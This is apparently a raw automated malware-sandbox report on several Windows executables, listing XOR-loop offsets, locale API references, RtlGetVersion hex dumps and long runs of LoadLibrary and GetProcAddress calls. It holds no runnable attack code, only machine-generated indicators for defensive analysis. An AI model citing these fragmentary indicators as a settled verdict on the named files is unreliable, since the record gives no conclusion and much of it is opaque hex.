XOR loop in file "cde4308e66.exe" at offset 575753; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 870885; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 880780; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1137857; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1211086; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1251659; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1256005; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1279177; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1307779; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1320814; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1335510; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1372971; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1396242; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1417785; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1420004; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1434611; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1437691; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1471416; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1485904; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1520788; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1527329; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1559675; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1563084; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1576889; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1581177; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1584023; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1611712; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1613824; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1632248; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1635576; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1654462; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1655885; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1698148; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1701746; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1726047; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1751150; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1753831; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1756994; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1760782; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1764153; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1780148; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1808357; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1819445; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1822993; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1864484; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1881416; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1883987; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1891590; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1896183; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1896426; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1913189; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1915042; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1931061; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 1985545; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 2002879; code bytes = 8030 Found XOR loop in file "cde4308e66.exe" at offset 2011461; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 412457; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 413111; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 413711; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 415983; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 421871; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 422355; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 425131; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 20080; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 20101; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 20122; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 20191; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 20283; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 20376; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 165902; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 166493; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 417373; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 418835; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 335588; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 352260; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 364618; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 421852; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 422334; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 425122; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 425612; code bytes = 803029:T766,Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; File: "bounty-38813904328784694") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; File: "bounty-38813904328784694") Found reference to API "EnumSystemLocalesW" (Indicator: "EnumSystemLocales"; File: "bounty-38813904328784694") Found reference to API "GetLocaleInfoEx" (Indicator: "GetLocaleInfo"; File: "bounty-38813904328784694") Found reference to API "EnumSystemLocalesEx" (Indicator: "EnumSystemLocales"; File: "bounty-38813904328784694") Found reference to API "GetUserDefaultLocaleName" (Indicator: "GetUserDefaultLocaleName"; File: "bounty-38813904328784694") Found reference to API "EnumSystemLocalesEx" (Indicator: "EnumSystemLocales"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API "GetLocaleInfoEx" (Indicator: "GetLocaleInfo"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API "GetUserDefaultLocaleName" (Indicator: "GetUserDefaultLocaleName"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API "EnumSystemLocalesW" (Indicator: "EnumSystemLocales"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp")2a:T194e,"bounty-38813904328784694.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "RtlGetVersion" with parameter 240100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000ffff00000000c0d5b30538cf7d775c36cc002cd6b305010000001036cc005c36cc001036cc00040000000400000000e06774001000002cd6b305010000001036cc00cd977d779c977d77ebc4860db50f5e741036cc0000007d7700000000cc0cb46e0000000080ee64740100000000000000f8e26774000000000400000080a9127448406674f8e2677430d6b30580e8cc768812cd0080e8cc762cd6b3050000000080e8cc7658d6b3051b800800e0d6b3055806000080ddb305642ae37327a6913bf30b0000faffffff98ddb3050000000018000000000000001dd557cb0000000000000000ffffffff000000000000000000000000b6d9d300ccd9d300 (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000b305e0d6b3051b8008007c56b60024020000000000000000000000000000c0d6b3051b80080048d7b30558060000e8ddb305180000001dd557cb24020000000000004f57b672240200002402000000000000000000000000b305000000000000000018000000e8ddb30548d7b3051b80080085d557cb58d5b3054f57b67270d6b3055018b87235f55dbcfeffffff80d6b305222ae3732402000000000000000000000000000058d6b3051b800800e0d6b3055806000080ddb305642ae37327a6913bf30b0000faffffff98ddb3050000000018000000000000001dd557cb0000000000000000ffffffff0000000000000000000000003ef4d30056f4d300 (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000b305e0d6b3051b8008007c56b60024020000000000000000000000000000c0d6b3051b80080048d7b30558060000e8ddb305180000001dd557cb24020000000000004f57b672240200002402000000000000000000000000b305000000000000000018000000e8ddb30548d7b3051b80080085d557cb58d5b3054f57b67270d6b3055018b87235f55dbcfeffffff80d6b305222ae3732402000000000000000000000000000058d6b3051b800800e0d6b3055806000080ddb305642ae37327a6913bf30b0000faffffff98ddb3050000000018000000000000001dd557cb0000000000000000ffffffff00000000000000000000000046f4d3005af4d300 (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000b305e0d6b3051b8008007c56b60024020000000000000000000000000000c0d6b3051b80080048d7b30558060000e8ddb305180000001dd557cb24020000000000004f57b672240200002402000000000000000000000000b305000000000000000018000000e8ddb30548d7b3051b80080085d557cb58d5b3054f57b67270d6b3055018b87235f55dbcfeffffff80d6b305222ae3732402000000000000000000000000000058d6b3051b800800e0d6b3055806000080ddb305642ae37327a6913bf30b0000faffffff98ddb3050000000018000000000000001dd557cb0000000000000000ffffffff00000000000000000000000036fad3004efad300 (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000b305e0d6b3051b8008007c56b60024020000000000000000000000000000c0d6b3051b80080048d7b30558060000e8ddb305180000001dd557cb24020000000000004f57b672240200002402000000000000000000000000b305000000000000000018000000e8ddb30548d7b3051b80080085d557cb58d5b3054f57b67270d6b3055018b87235f55dbcfeffffff80d6b305222ae3732402000000000000000000000000000058d6b3051b800800e0d6b3055806000080ddb305642ae37327a6913bf30b0000faffffff98ddb3050000000018000000000000001dd557cb0000000000000000ffffffff0000000000000000000000004efcd30064fcd300 (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000b305e0d6b3051b8008007c56b60024020000000000000000000000000000c0d6b3051b80080048d7b30558060000e8ddb305180000001dd557cb24020000000000004f57b672240200002402000000000000000000000000b305000000000000000018000000e8ddb30548d7b3051b80080085d557cb58d5b3054f57b67270d6b3055018b87235f55dbcfeffffff80d6b305222ae3732402000000000000000000000000000058d6b3051b800800e0d6b3055806000080ddb305642ae37327a6913bf30b0000faffffff98ddb3050000000018000000000000001dd557cb0000000000000000ffffffff00000000000000000000000066fed3007efed300 (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000b305e0d6b3051b8008007c56b60024020000000000000000000000000000c0d6b3051b80080048d7b30558060000e8ddb305180000001dd557cb24020000000000004f57b672240200002402000000000000000000000000b305000000000000000018000000e8ddb30548d7b3051b80080085d557cb58d5b3054f57b67270d6b3055018b87235f55dbcfeffffff80d6b305222ae3732402000000000000000000000000000058d6b3051b800800e0d6b3055806000080ddb305642ae37327a6913bf30b0000faffffff98ddb3050000000018000000000000001dd557cb0000000000000000ffffffff0000000000000000000000008efdd300a6fdd300 (UID: 00000000-00006528)2b:Ta9d,"bounty-38813904328784694.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006528) "cde4308e66.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005828) "cde4308e66.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005828) "cde4308e66.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005828) "cde4308e66.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005828) "cde4308e66.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00005828) "cde4308e66.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005828) "cde4308e66.exe" called "LoadLibrary" with a parameter NTDLL.dll (UID: 00000000-00005828) "cde4308e66.exe" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00005828) "cde4308e66.exe" called "LoadLibrary" with a parameter NTDLL (UID: 00000000-00005828) "cde4308e66.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00005828) "cde4308e66.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00005828) "cde4308e66.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00005828) "cde4308e66.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005828) "cde4308e66.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005828) "adc663ab13.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006500) "adc663ab13.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006500) "adc663ab13.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006500) "adc663ab13.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006500) "adc663ab13.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-2 (UID: 00000000-00006500) "adc663ab13.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00006500) "adc663ab13.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00006500) "adc663ab13.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00006500)2c:T42a8,"bounty-38813904328784694.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00006528) "bounty-38813904328784694.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00006528) "cde4308e66.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter timeGetTime (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter NtOpenThread (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00005828) "cde4308e66.exe" called "GetProcAddress" with a parameter RtlAllocateHeap (UID: 00000000-00005828) "adc663ab13.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006500) 